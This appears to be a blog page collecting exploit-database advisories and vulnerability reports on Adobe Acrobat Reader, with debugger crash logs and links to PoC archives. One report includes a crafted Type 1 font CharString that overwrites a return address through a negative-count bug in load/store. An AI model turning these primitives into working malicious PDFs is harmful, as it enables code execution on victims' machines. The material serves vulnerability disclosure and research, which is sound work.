Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86399239

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

#####################################################################################

# Application: Adobe Acrobat Reader DC
# Platforms: Windows,OSX
# Versions: 15.016.20045 and earlier
# Author: Sébastien Morin of COSIG
# Website: https://cosig.gouv.qc.ca/en/advisory/
# Twitter: @COSIG_
# Date: July 12, 2016
# CVE: CVE-2016-4203
# COSIG-2016-28

#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) POC

#####################################################################################

================
1) Introduction
================
Adobe Acrobat is a family of application software and Web services developed by Adobe Systems to view, create, manipulate, print and manage files in Portable Document Format (PDF).

(https://en.wikipedia.org/wiki/Adobe_Acrobat)

#####################################################################################

====================
2) Report Timeline
====================
2016-05-18: Sébastien Morin of COSIG report this vulnerability to Adobe PSIRT;
2016-06-08: Adobe PSIRT confirm this vulnerability;
2016-07-12: Adobe fixed the issue (APSB16-26);
2016-07-12: Advisory released by COSIG;

#####################################################################################

=====================
3) Technical details
=====================
The vulnerability allows a remote attacker to execute malicious code or access to part of dynamically allocated memory using a user interaction
that opens a specially crafted PDF file containing an invalid font (.ttf ) including invalid data.

#####################################################################################

===========
4) POC
===========

https://cosig.gouv.qc.ca/wp-content/uploads/2016/07/COSIG-2016-28.pdf
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40097.zip

####################################################################################
            
#####################################################################################

# Application: Adobe Acrobat Reader DC
# Platforms: Windows,OSX
# Versions: 15.016.20045 and earlier
# Author: Sébastien Morin and Pier-Luc Maltais of COSIG
# Website: https://cosig.gouv.qc.ca/en/advisory/
# Twitter: @COSIG_
# Date: July 12, 2016
# CVE: CVE-2016-4204
# COSIG-2016-29

#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) POC

#####################################################################################

================
1) Introduction
================
Adobe Acrobat is a family of application software and Web services developed by Adobe Systems to view, create, manipulate, print and manage files in Portable Document Format (PDF).

(https://en.wikipedia.org/wiki/Adobe_Acrobat)

#####################################################################################

====================
2) Report Timeline
====================
2016-05-18: Sébastien Morin and Pier-Luc Maltais  of COSIG report this vulnerability to Adobe PSIRT;
2016-06-08: Adobe PSIRT confirm this vulnerability;
2016-07-12: Adobe fixed the issue (APSB16-26);
2016-07-12: Advisory released by COSIG;

#####################################################################################

=====================
3) Technical details
=====================
The vulnerability allows a remote attacker to execute malicious code or access to part of dynamically allocated memory using a user interaction
that opens a specially crafted PDF file containing an invalid font (.ttf ) including invalid data.

#####################################################################################

===========
4) POC
===========

https://cosig.gouv.qc.ca/wp-content/uploads/2016/07/COSIG-2016-29.pdf
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40096.zip

####################################################################################
            
#####################################################################################

# Application: Adobe Acrobat Reader DC
# Platforms: Windows,OSX
# Versions: 15.016.20045 and earlier
# Author: Sébastien Morin and Pier-Luc Maltais of COSIG
# Website: https://cosig.gouv.qc.ca/en/advisory/
# Twitter: @COSIG_
# Date: July 12, 2016
# CVE: CVE-2016-4205
# COSIG-2016-30

#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) POC

#####################################################################################

================
1) Introduction
================
Adobe Acrobat is a family of application software and Web services developed by Adobe Systems to view, create, manipulate, print and manage files in Portable Document Format (PDF).

(https://en.wikipedia.org/wiki/Adobe_Acrobat)

#####################################################################################

====================
2) Report Timeline
====================
2016-05-18: Sébastien Morin and Pier-Luc Maltais of COSIG report this vulnerability to Adobe PSIRT;
2016-06-08: Adobe PSIRT confirm this vulnerability;
2016-07-12: Adobe fixed the issue (APSB16-26);
2016-07-12: Advisory released by COSIG;

#####################################################################################

=====================
3) Technical details
=====================
The vulnerability allows a remote attacker to execute malicious code or access to part of dynamically allocated memory using a user interaction
that opens a specially crafted PDF file containing an invalid font (.ttf ) including invalid data.

#####################################################################################

===========
4) POC
===========

https://cosig.gouv.qc.ca/wp-content/uploads/2016/07/COSIG-2016-30.pdf
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40095.zip

####################################################################################
            
We have observed the following access violation exception in the latest version of Adobe Acrobat Reader DC for Windows, when opening a malformed PDF file:

--- cut ---
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=707779e0 ebx=25876c38 ecx=052faab8 edx=707703a4 esi=707703d4 edi=25876e34
eip=10e6c29e esp=052fa89c ebp=052fa8a4 iopl=0         nv up ei pl nz ac po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210212
CoolType!CTInit+0x3913e:
10e6c29e 8902            mov     dword ptr [edx],eax  ds:002b:707703a4=31a03194

0:000> u @eip-14
CoolType!CTInit+0x3912a:
10e6c28a 8b7d0c          mov     edi,dword ptr [ebp+0Ch]
10e6c28d 8b571c          mov     edx,dword ptr [edi+1Ch]
10e6c290 8b7720          mov     esi,dword ptr [edi+20h]
10e6c293 035508          add     edx,dword ptr [ebp+8]
10e6c296 8b4724          mov     eax,dword ptr [edi+24h]
10e6c299 037508          add     esi,dword ptr [ebp+8]
10e6c29c 03c6            add     eax,esi
10e6c29e 8902            mov     dword ptr [edx],eax

0:000> ? poi(edi+1c)
Evaluate expression: -690332 = fff57764

0:000> ? poi(ebp+8)
Evaluate expression: 1887538240 = 70818c40

0:000> !heap -p -a 70818c40
    address 70818c40 found in
    _DPH_HEAP_ROOT @ bfc1000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                723d3b94:         70818c40            173c0 -         70818000            19000
          unknown!fillpattern
    0f32a8d0 verifier!AVrfDebugPageHeapAllocate+0x00000240
    77f24b26 ntdll!RtlDebugAllocateHeap+0x0000003c
    77e7e3e6 ntdll!RtlpAllocateHeap+0x000000f6
    77e7cfb7 ntdll!RtlpAllocateHeapInternal+0x000002b7
    77e7ccee ntdll!RtlAllocateHeap+0x0000003e
    0f48aa2f vrfcore!VfCoreRtlAllocateHeap+0x0000001f
    77c2f1f6 ucrtbase!_malloc_base+0x00000026
    5fbefc39 AcroRd32!AcroWinMainSandbox+0x00003ec9
    10e37991 CoolType!CTInit+0x00004831
    10e38e1b CoolType!CTInit+0x00005cbb
    10e68870 CoolType!CTInit+0x00035710
    10e683dc CoolType!CTInit+0x0003527c
    10e67d25 CoolType!CTInit+0x00034bc5
    10e65902 CoolType!CTInit+0x000327a2
    10e633f2 CoolType!CTInit+0x00030292
    10e62719 CoolType!CTInit+0x0002f5b9
    10e620e8 CoolType!CTInit+0x0002ef88
    10e62000 CoolType!CTInit+0x0002eea0
    108f36f1 AGM!AGMInitialize+0x0002a881

 
0:000> kb
 # ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
00 052fa8a4 10e6bde2 70818c40 25876e34 70818c40 CoolType!CTInit+0x3913e
01 052fa918 10e6bd06 052faab4 052fa9e4 00000001 CoolType!CTInit+0x38c82
02 052fa930 10e6bce7 052faab4 052fa9e4 73330f68 CoolType!CTInit+0x38ba6
03 052fa944 10e6bb4f 052faab4 052fa9e4 73330f68 CoolType!CTInit+0x38b87
04 052fa968 10e6b8b0 052facd8 73330f68 110f7080 CoolType!CTInit+0x389ef
05 052fab08 10e6abf9 73330f68 110f7080 052facd8 CoolType!CTInit+0x38750
06 052fad64 10e65b0c 052fb054 052faddc 00000000 CoolType!CTInit+0x37a99
07 052fb07c 10e633f2 000007c6 00000000 00000000 CoolType!CTInit+0x329ac
08 052fb14c 10e62719 65babff0 00000001 052fb1dc CoolType!CTInit+0x30292
09 052fb964 10e620e8 6aa0a9b4 052fb97c 6aa0a990 CoolType!CTInit+0x2f5b9
0a 052fb9e4 10e62000 6aa0a9b4 6aa0a99c 73fdc4da CoolType!CTInit+0x2ef88
0b 052fba24 108f36f1 7155bd90 6aa0a9b4 6aa0a99c CoolType!CTInit+0x2eea0
0c 052fba38 108e023e 6aa0a99c 108e01d0 331cbd80 AGM!AGMInitialize+0x2a881
0d 052fba4c 108df007 331cbd8c 10d84a18 00000001 AGM!AGMInitialize+0x173ce
0e 052fba84 108f0bcc c1574612 1733a7d0 00000000 AGM!AGMInitialize+0x16197
0f 052fbb4c 0f327c7a 0bfc16cc 052fbb78 0f3291ab AGM!AGMInitialize+0x27d5c
--- cut ---

Notes:

- The crash looks very similar to the one reported in Issue #1891 in June 2019, and fixed in August 2019 as CVE-2019-8042. The stack trace and context are nearly identical. It is possible that this is an unfixed variant of the previous vulnerability.

- Reproduces on Adobe Acrobat Reader DC (2019.012.20040) on Windows 10, with and without PageHeap enabled (more cleanly with PageHeap, though).

- The crash occurs immediately after opening the PDF document, and is caused by an attempt to write data at a negative offset relative to a heap allocation (-690332 in the above case).

- Attached samples: poc[1-4].pdf (crashing files).


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47769.zip
            
# Title: Adobe Acrobat Reader AFParseDate Javascript API Restrictions
Bypass Vulnerability
# Date: 09/28/2015
# Author: Reigning Shells, based off PoC published by Zero Day Initiative
# Vendor Homepage: adobe.com
# Version: Adobe Reader and Acrobat 10.x before 10.1.14 and 11.x before
11.0.11 on Windows and OS X are vulnerable.
# Tested on: Adobe Acrobat 11.0.10 on Windows 7
# CVE : CVE-2015-3073

This vulnerability allows remote attackers to bypass API restrictions on
vulnerable installations of Adobe Reader. User interaction is required to
exploit this vulnerability in that the target must visit a malicious page
or open a malicious file.

The specific flaw exists within AFParseDate. By creating a specially
crafted PDF with specific JavaScript instructions, it is possible to bypass
the Javascript API restrictions. A remote attacker could exploit this
vulnerability to execute arbitrary code.

Adobe Reader and Acrobat 10.x before 10.1.14 and 11.x before 11.0.11 on
Windows and OS X are vulnerable.

Notes:

The code assumes you attached a DLL named exploit.txt to the PDF document
to get around attachment security restrictions.

Acrobat will execute updaternotifications.dll if it's in the same directory
as the Acrobat executable or the same directory as the document being
opened.

Credit for discovery and the initial POC that illustrates code being
executed in the privileged context (launching a URL) goes to the Zero Day
Initiative.

Code: 
https://github.com/reigningshells/CVE-2015-3073/blob/master/exploit.js
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38344.zip
            
-----=====[ Background ]=====-----

AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree.

We have recently discovered that parts of AFDKO are compiled in in Adobe's desktop software such as Adobe Acrobat. Within a single installation of Acrobat, we have found traces of AFDKO in four different libraries: acrodistdll.dll, Acrobat.dll, CoolType.dll and AdobePDFL.dll. According to our brief analysis, AFDKO is not used for font rasterization (there is a different engine for that), but rather for the conversion between font formats. For example, it is possible to execute the AFDKO copy in CoolType.dll by opening a PDF file with an embedded font, and exporting it to a PostScript (.ps) or Encapsulated PostScript (.eps) document. It is uncertain if the AFDKO copies in other libraries are reachable as an attack surface and how.

It is also interesting to note that the AFDKO copies in the above DLLs are much older than the latest version of the code on GitHub. This can be easily recognized thanks to the fact that each component of the library (e.g. the Type 1 Reader - t1r, Type 1 Writer - t1w, CFF reader - cfr etc.) has its own version number included in the source code, and they change over time. For example, CoolType's version of the "cfr" module is 2.0.44, whereas the first open-sourced commit of AFDKO from September 2014 has version 2.0.46 (currently 2.1.0), so we can conclude that the CoolType fork is at least about ~5 years old. Furthermore, the forks in Acrobat.dll and AdobePDFL.dll are even older, with a "cfr" version of 2.0.31.

Despite the fact that CoolType contains an old fork of the library, it includes multiple non-public fixes for various vulnerabilities, particularly a number of important bounds checks in read*() functions declared in cffread/cffread.c (e.g. readFDSelect, readCharset etc.). These checks were first introduced in CoolType.dll shipped with Adobe Reader 9.1.2, which was released on 28 May 2009. This means that the internal fork of the code has had many bugs fixed for the last 10 years, which are still not addressed in the open-source branch of the code. Nevertheless, we found more security vulnerabilities which affect the AFDKO used by CoolType, through analysis of the publicly available code. This report describes one such issue reachable through the Adobe Acrobat file export functionality.

-----=====[ Description ]=====-----

The "Type 2 Charstring Format" specification from 5 May 1998 introduced two storage operators: store and load, which were both deprecated in the next iteration of the specs in 2000. These operators were responsible for copying data between the transient array (also known as the BuildCharArray, or BCA) and the so-called "Registry object".

As the document stated:

"""
    The Registry provides more permanent storage for a number of items that have predefined meanings. The items stored in the Registry do not persist beyond the scope of rendering a font. Registry items are selected with an index, thus:

    0 Weight Vector
    1 Normalized Design Vector
    2 User Design Vector

    The result of selecting a Registry item with an index outside this list is undefined.
"""

The Type 1 CharString interpreter implemented in t1Decode() (c/public/lib/source/t1cstr/t1cstr.c) supports the load and store operators:

--- cut ---
  1450                      case t1_store:
  1451                          result = do_store(h);
  1452                          if (result)
  1453                              return result;
  1454                          continue;
[...]
  1470                      case t1_load:
  1471                          result = do_load(h);
  1472                          if (result)
  1473                              return result;
  1474                          continue;
--- cut ---

The do_store() and do_load() functions are as follows:

--- cut ---
   664  /* Select registry item. Return NULL on invalid selector. */
   665  static float *selRegItem(t1cCtx h, int reg, int *size) {
   666      switch (reg) {
   667          case T1_REG_WV:
   668              *size = T1_MAX_MASTERS;
   669              return h->aux->WV;
   670          case T1_REG_NDV:
   671              *size = T1_MAX_AXES;
   672              return h->aux->NDV;
   673          case T1_REG_UDV:
   674              *size = T1_MAX_AXES;
   675              return h->aux->UDV;
   676      }
   677      return NULL;
   678  }
   679
   680  /* Execute "store" op. Return 0 on success else error code. */
   681  static int do_store(t1cCtx h) {
   682      int size;
   683      int count;
   684      int i;
   685      int j;
   686      int reg;
   687      float *array;
   688
   689      CHKUFLOW(4);
   690
   691      count = (int)POP();
   692      i = (int)POP();
   693      j = (int)POP();
   694      reg = (int)POP();
   695      array = selRegItem(h, reg, &size);
   696
   697      if (array == NULL ||
   698          i < 0 || i + count + 1 >= TX_BCA_LENGTH ||
   699          j < 0 || j + count + 1 >= size)
   700          return t1cErrStoreBounds;
   701
   702      memcpy(&array[j], &h->BCA[i], sizeof(float) * count);
   703      return 0;
   704  }
   705
[...]
   736
   737  /* Execute "load" op. Return 0 on success else error code. */
   738  static int do_load(t1cCtx h) {
   739      int size;
   740      int count;
   741      int i;
   742      int reg;
   743      float *array;
   744
   745      CHKUFLOW(3);
   746
   747      count = (int)POP();
   748      i = (int)POP();
   749      reg = (int)POP();
   750      array = selRegItem(h, reg, &size);
   751
   752      if (i < 0 || i + count - 1 >= TX_BCA_LENGTH || count > size)
   753          return t1cErrLoadBounds;
   754
   755      memcpy(&h->BCA[i], array, sizeof(float) * count);
   756
   757      return 0;
   758  }
--- cut ---

While both routines try to enforce proper bounds of the indexes and lengths (lines 697-700 and 752-753), they miss one important corner case -- negative count. When a value smaller than 0 is specified for "count", many of the other sanity checks can be bypassed, and out-of-bounds read/write access can be triggered with a high degree of control over what is copied where. The condition is especially dangerous in x86 builds, where a controlled 32-bit index added to a memory pointer can address the entire process address space. At the time of this writing, Adobe Acrobat for Windows is available as a 32-bit build only.

To give an example, setting count to a value in the range of 0x80000000-0xbfffffff makes it possible to set the "sizeof(float) * count" expression evaluate to an arbitrary multiple of 4 (0, 4, 8, ..., 0xfffffff8), enabling us to copy any chosen number of bytes in lines 702 and 755. At the same time, the value is so small that it bypasses all checks where "i + count" and "j + count" are involved for i, j in the range of 0-0x3fffffff, which also enables us to refer to the entire address space relative to the referenced buffer.

To summarize, we can copy an arbitrary number of bytes between h->BCA[] and the registry arrays at arbitrary offsets, which is a powerful primitive. There is only one obstacle -- the fact that values on the interpreter stack are stored as 32-bit floats, which means they have a 23-bit mantissa. For this reason, it is impossible to precisely control the integer values of i, j and count, if they are in the order of 2^30 or 2^31. The granularity is 128 for numbers around 2^30 and 256 for numbers around 2^31, so for example it is impossible to set i to 0x3fffffff or count to 0x80000001; the closest values are 0x3fffff80/0x40000000 and 0x80000000/0x80000100, respectively. In practice, this means that we can only copy out-of-bounds memory in chunks of 512 bytes (4 * 128) or 1024 under specific conditions, and that we can only choose negative offsets relative to BCA/array which are divisible by 128. On the other hand, if we set count to a largely negative value (e.g. -1073741696), we can set i and j to fully controlled (small) positive numbers.

The h->BCA[] array is stored within the t1cCtx structure in the stack frame of the t1cParse() function. The registry arrays reside within t1cAuxData structures allocated on the heap. As a result, the vulnerability gives us out-of-bounds access to both the stack and heap. An attacker could target generic data in memory related to the control flow such as return addresses, or application-specific data inside t1cCtx/t1cAuxData, which also contain many sensitive fields such as function pointers etc.

As a side note, the do_load() routine doesn't verify that array != NULL, which may result in a) operating on an uninitialized "size" variable in line 752, and b) passing NULL as the source parameter to memcpy() in line 755.

-----=====[ Invalid memcpy_s usage ]=====-----

We also wanted to point out another interesting bug in AFDKO, which is not present in the GitHub repository but can be found in CoolType. The latter build of the code uses safe variants of many standard functions, such as memcpy_s() instead of memcpy(), vsprintf_s() instead of vsprintf() etc. The memcpy() call in do_store() was also converted to memcpy_s(), and currently looks like this in decompiled form:

--- cut ---
  memcpy_s(&array[j], 4 - 4 * j, (char *)h + 4 * i + 916, 4 * count);
--- cut ---

which can be translated to:

--- cut ---
  memcpy_s(&array[j], sizeof(array) - sizeof(float) * j, &h->BCA[i], sizeof(float) * count);
--- cut ---

Note the second argument, which is supposed to be the length of the buffer being copied to. Judging by the code the author meant to set it to the number of available bytes from element "j" to the end of the array, but used the sizeof(array) expression instead of the actual length stored in the "size" variable. In this case sizeof(array) is the size of a pointer and evaluates to 4 or 8, which is nowhere near the actual size of the array (16 or 64 depending on the register). Consequently, this bug effectively blocks access to the element at array[1] for j={0, 1}, and is incorrectly set to a huge unsigned value for j >= 2, rendering it ineffective.

Considering that the 2nd "destsz" memcpy_s argument is not supposed to be a security boundary but just a safety net, and proper sanitization of the i, j, count values should prevent any kind of out-of-bounds access, we don't consider this a separate vulnerability. We are reporting it here as FYI.

-----=====[ Proof of Concept ]=====-----

The proof of concept is a PDF file with an embedded Type 1 font, which includes the following payload in the CharString of the "A" character:

--- cut ---
     1  1621139584 134217728 div
     2  dup 0 put
     3  dup 1 put
     4  dup 2 put
     5  dup 3 put
     6  dup 4 put
     7  dup 5 put
     8  dup 6 put
     9  dup 7 put
    10  dup 8 put
    11  dup 9 put
    12  dup 10 put
    13  dup 11 put
    14  0 2 0 12 store
    15  0 67
    16  4096 4096 -64 mul mul 128 add
    17  load
    18  endchar
--- cut ---

A brief description:

- Line 1 constructs a float on the stack with a binary representation of 0x41414141
- Lines 2-13 copy this value to the BuildCharArray at indexes 0-11
- Line 14 copies the 12 values from BCA to the registry #0 starting with index #2 (due to the memcpy_s bug)
- Lines 15-17 call the "load" operator with arguments reg=0, i=67, count=0xc0000080 (-1073741696). This results in copying 0x200 (0xc0000080 * 4) bytes from registry #0 to &h->BCA[67], which points to the return address of the t2cParse() function on the stack.
- Line 18 uses the "endchar" operator to return from the interpreter and use the overwritten return address, crashing at address 0x41414141.

-----=====[ Crash logs ]=====-----

When the poc.pdf file is opened with Adobe Acrobat Pro and converted to a PostScript document via "File > Export To > (Encapsulated) PostScript", the following crash occurs in Acrobat.exe:

--- cut ---
(2b10.3acc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=0d3993bc edx=00000200 esi=0daec260 edi=0d3992b8
eip=41414141 esp=0133a07c ebp=01000100 iopl=0         nv up ei ng nz ac pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210297
41414141 ??              ???
0:000> dd esp
0133a07c  41414141 41414141 41414141 41414141
0133a08c  41414141 41414141 41414141 41414141
0133a09c  41414141 41414141 41414141 0dfd96a0
0133a0ac  0dfd96a0 00000004 ffffffff 00000000
0133a0bc  00000001 66751a2a 00000000 d4385860
0133a0cc  94000400 801f0014 21ec2020 10693aea
0133a0dc  0008dda2 9d30302b 8071001e 00000000
0133a0ec  00000000 acc70000 32027007 d2aa11d1
--- cut ---

-----=====[ References ]=====-----

[1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/
[2] https://github.com/adobe-type-tools/afdko


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47259.zip
            
-----=====[ Background ]=====-----

AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree.

We have recently discovered that parts of AFDKO are compiled in in Adobe's desktop software such as Adobe Acrobat. Within a single installation of Acrobat, we have found traces of AFDKO in four different libraries: acrodistdll.dll, Acrobat.dll, CoolType.dll and AdobePDFL.dll. According to our brief analysis, AFDKO is not used for font rasterization (there is a different engine for that), but rather for the conversion between font formats. For example, it is possible to execute the AFDKO copy in CoolType.dll by opening a PDF file with an embedded font, and exporting it to a PostScript (.ps) or Encapsulated PostScript (.eps) document. It is uncertain if the AFDKO copies in other libraries are reachable as an attack surface and how.

It is also interesting to note that the AFDKO copies in the above DLLs are much older than the latest version of the code on GitHub. This can be easily recognized thanks to the fact that each component of the library (e.g. the Type 1 Reader - t1r, Type 1 Writer - t1w, CFF reader - cfr etc.) has its own version number included in the source code, and they change over time. For example, CoolType's version of the "cfr" module is 2.0.44, whereas the first open-sourced commit of AFDKO from September 2014 has version 2.0.46 (currently 2.1.0), so we can conclude that the CoolType fork is at least about ~5 years old. Furthermore, the forks in Acrobat.dll and AdobePDFL.dll are even older, with a "cfr" version of 2.0.31.

Despite the fact that CoolType contains an old fork of the library, it includes multiple non-public fixes for various vulnerabilities, particularly a number of important bounds checks in read*() functions declared in cffread/cffread.c (e.g. readFDSelect, readCharset etc.). These checks were first introduced in CoolType.dll shipped with Adobe Reader 9.1.2, which was released on 28 May 2009. This means that the internal fork of the code has had many bugs fixed for the last 10 years, which are still not addressed in the open-source branch of the code. Nevertheless, we found more security vulnerabilities which affect the AFDKO used by CoolType, through analysis of the publicly available code. This report describes one such issue reachable through the Adobe Acrobat file export functionality.

-----=====[ Description ]=====-----

The Type 1 font parsing code in AFDKO resides in c/public/lib/source/t1read/t1read.c, and the main context structure is t1rCtx, also declared in that file. t1rCtx contains a dynamic array FDArray of FDInfo structures:

--- cut ---
    70  typedef struct /* FDArray element */
    71  {
    72      abfFontDict *fdict; /* Font dict */
    73      struct              /* Subrs */
    74      {
    75          ctlRegion region; /* cstr data region */
    76          dnaDCL(long, offset);
    77      } subrs;
    78      t1cAuxData aux; /* Auxiliary charstring data */
    79      struct          /* Dict key info */
    80      {
    81          long lenIV;                /* Length random cipher bytes */
    82          long SubrMapOffset;        /* CID-specific key */
    83          unsigned short SubrCount;  /* CID-specific key */
    84          unsigned short SDBytes;    /* CID-specific key */
    85          unsigned short BlueValues; /* Flags /BlueValues seen */
    86      } key;
    87      t1cDecryptFunc decrypt; /* Charstring decryption function */
    88  } FDInfo;
    89
[...]
   110      dnaDCL(FDInfo, FDArray);       /* FDArray */
--- cut ---

The array is initially set to 1 element at the beginning of t1rBegFont():

--- cut ---
  3035  /* Parse PostScript font. */
  3036  int t1rBegFont(t1rCtx h, long flags, long origin, abfTopDict **top, float *UDV) {
[...]
  3045      dnaSET_CNT(h->FDArray, 1);
--- cut ---

Later on, the array can be resized to any number of elements in the range of 0-256 using the /FDArray operator, which is handled by the initFDArray() function:

--- cut ---
  2041  /* Initialize FDArray. */
  2042  static void initFDArray(t1rCtx h, long cnt) {
  2043      int i;
  2044      if (cnt < 0 || cnt > 256)
  2045          badKeyValue(h, kFDArray);
  2046      dnaSET_CNT(h->FDArray, cnt);
  2047      dnaSET_CNT(h->fdicts, cnt);
  2048      for (i = 0; i < h->FDArray.cnt; i++)
  2049          initFDInfo(h, i);
  2050      h->fd = &h->FDArray.array[0];
  2051  }
  2052
[...]
  2318          case kFDArray:
  2319              initFDArray(h, parseInt(h, kFDArray));
  2320              break;
--- cut ---

Parts of the FDInfo structures (specifically the "aux" nested structure) are initialized later on, in prepClientData():

--- cut ---
  2949      /* Prepare auxiliary data */
  2950      for (i = 0; i < h->FDArray.cnt; i++) {
  2951          FDInfo *fd = &h->FDArray.array[i];
  2952          fd->aux.flags = 0;
  2953          if (h->flags & T1R_UPDATE_OPS)
  2954              fd->aux.flags |= T1C_UPDATE_OPS;
  2955          fd->aux.src = h->stm.tmp;
  2956          fd->aux.subrs.cnt = fd->subrs.offset.cnt;
  2957          fd->aux.subrs.offset = fd->subrs.offset.array;
  2958          fd->aux.subrsEnd = fd->subrs.region.end;
  2959          fd->aux.stm = &h->cb.stm;
[...]
--- cut ---

The problem with the code is that it assumes that FDArray always contains at least 1 element, whereas initFDArray() allows us to truncate it to 0 items. 

When the client program later calls t1rIterateGlyphs(), execution will reach the following code in readGlyph():

--- cut ---
  3170  /* Read charstring. */
  3171  static void readGlyph(t1rCtx h,
  3172                        unsigned short tag, abfGlyphCallbacks *glyph_cb) {
  3173      int result;
  3174      long offset;
  3175      long flags = h->flags;
  3176      Char *chr = &h->chars.index.array[tag];
  3177      t1cAuxData *aux = &h->FDArray.array[chr->iFD].aux;
  3178
[...]
--- cut ---

The chr->iFD values are initialized to 0 by default in abfInitGlyphInfo(), so in line 3177 the library will take a reference to the uninitialized structure under h->FDArray.array[0].aux:

--- cut ---
Breakpoint 1, readGlyph (h=0x61f000000080, tag=0, glyph_cb=0x62c0000078d8) at ../../../../../source/t1read/t1read.c:3179
3179        if ((flags & CID_FONT) && !(flags & PRINT_STREAM)) {

(gdb) print *aux
$1 = {flags = -4702111234474983746, src = 0xbebebebebebebebe, stm = 0xbebebebebebebebe, subrs = {cnt = -4702111234474983746, offset = 0xbebebebebebebebe},
  subrsEnd = -4702111234474983746, ctx = 0xbebebebebebebebe, getStdEncGlyphOffset = 0xbebebebebebebebe, bchar = 190 '\276', achar = 190 '\276', matrix = {
    -0.372548997, -0.372548997, -0.372548997, -0.372548997, -0.372548997, -0.372548997}, nMasters = -16706, UDV = {-0.372548997 <repeats 15 times>}, NDV = {
    -0.372548997 <repeats 15 times>}, WV = {-0.372548997 <repeats 64 times>}}
--- cut ---

In the above listing, 0xbe are AddressSanitizer's marker bytes for unitialized heap memory (in a Linux x64 build of the "tx" tool used for testing). The "aux" pointer is further passed down to functions in t1cstr/t1cstr.c -- first to t1cParse(), then to t1DecodeSubr(), and then to srcSeek(), where the following call is performed:

--- cut ---
   191  /* Seek to offset on source stream. */
   192  static int srcSeek(t1cCtx h, long offset) {
   193      if (h->aux->stm->seek(h->aux->stm, h->aux->src, offset))
   194          return 1;
   195      h->src.offset = offset;
   196      return 0;
   197  }
--- cut ---

As we remember, the contents of the "aux" object and specifically aux.stm are uninitialized, so the code attempts to load a function pointer from an undefined address. According to our tests, the memory allocator used in Adobe Acrobat boils down to a simple malloc() call without a subsequent memset(), so the undefined data could in fact be leftover bytes from an older allocation freed before the faulty font is loaded. As a result, the "stm" pointer could be controlled by the input file through some light heap spraying/grooming, such that the free memory chunks reused by malloc() contain the desired data. This, in turn, could potentially lead to arbitrary code execution in the context of the Acrobat process.

-----=====[ Proof of Concept ]=====-----

The proof of concept is a PDF file with an embedded Type 1 font, which includes an extra "/FDArray 0" operator to set the length of FDArray to 0, as described above.

-----=====[ Crash logs ]=====-----

For reliable reproduction, we have enabled the PageHeap for Acrobat.exe in Application Verifier. In addition to allocating memory on page boundaries, it also fills out newly returned memory with a 0xc0 value, resulting in more consistent crashes when using such uninitialized data.

When the poc.pdf file is opened with Adobe Acrobat Pro and converted to a PostScript document via "File > Export To > (Encapsulated) PostScript", the following crash occurs in Acrobat.exe:

--- cut ---
(2728.221c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=84ca7ef4 ebx=87edee2c ecx=c0c0c0c0 edx=00000000 esi=012f9a2c edi=00000021
eip=548d0e67 esp=012f99e0 ebp=012f99f4 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210202
CoolType!CTGetVersion+0xafccf:
548d0e67 ff510c          call    dword ptr [ecx+0Ch]  ds:002b:c0c0c0cc=????????

0:000> k
 # ChildEBP RetAddr  
WARNING: Stack unwind information not available. Following frames may be wrong.
00 012f99f4 548d1091 CoolType!CTGetVersion+0xafccf
01 012f9a1c 548d1b6e CoolType!CTGetVersion+0xafef9
02 012f9ea0 548d545e CoolType!CTGetVersion+0xb09d6
03 012f9ed0 548d63b1 CoolType!CTGetVersion+0xb42c6
04 012f9eec 548a6164 CoolType!CTGetVersion+0xb5219
05 012f9f14 548a3919 CoolType!CTGetVersion+0x84fcc
06 012f9f34 5486bd5c CoolType!CTGetVersion+0x82781
07 012f9f70 54842786 CoolType!CTGetVersion+0x4abc4
08 012fa224 548ec8bd CoolType!CTGetVersion+0x215ee
09 012fb768 548ed5de CoolType!CTGetVersion+0xcb725
0a 012fc830 548243e6 CoolType!CTGetVersion+0xcc446
0b 012fc92c 54823fda CoolType!CTGetVersion+0x324e
0c 012fc940 54904037 CoolType!CTGetVersion+0x2e42
0d 012fc980 0c146986 CoolType!CTGetVersion+0xe2e9f
0e 012fc9f4 0c16008f AGM!AGMGetVersion+0x23eb86
0f 012fca40 0c16039c AGM!AGMGetVersion+0x25828f
10 012fca6c 0c1603fd AGM!AGMGetVersion+0x25859c
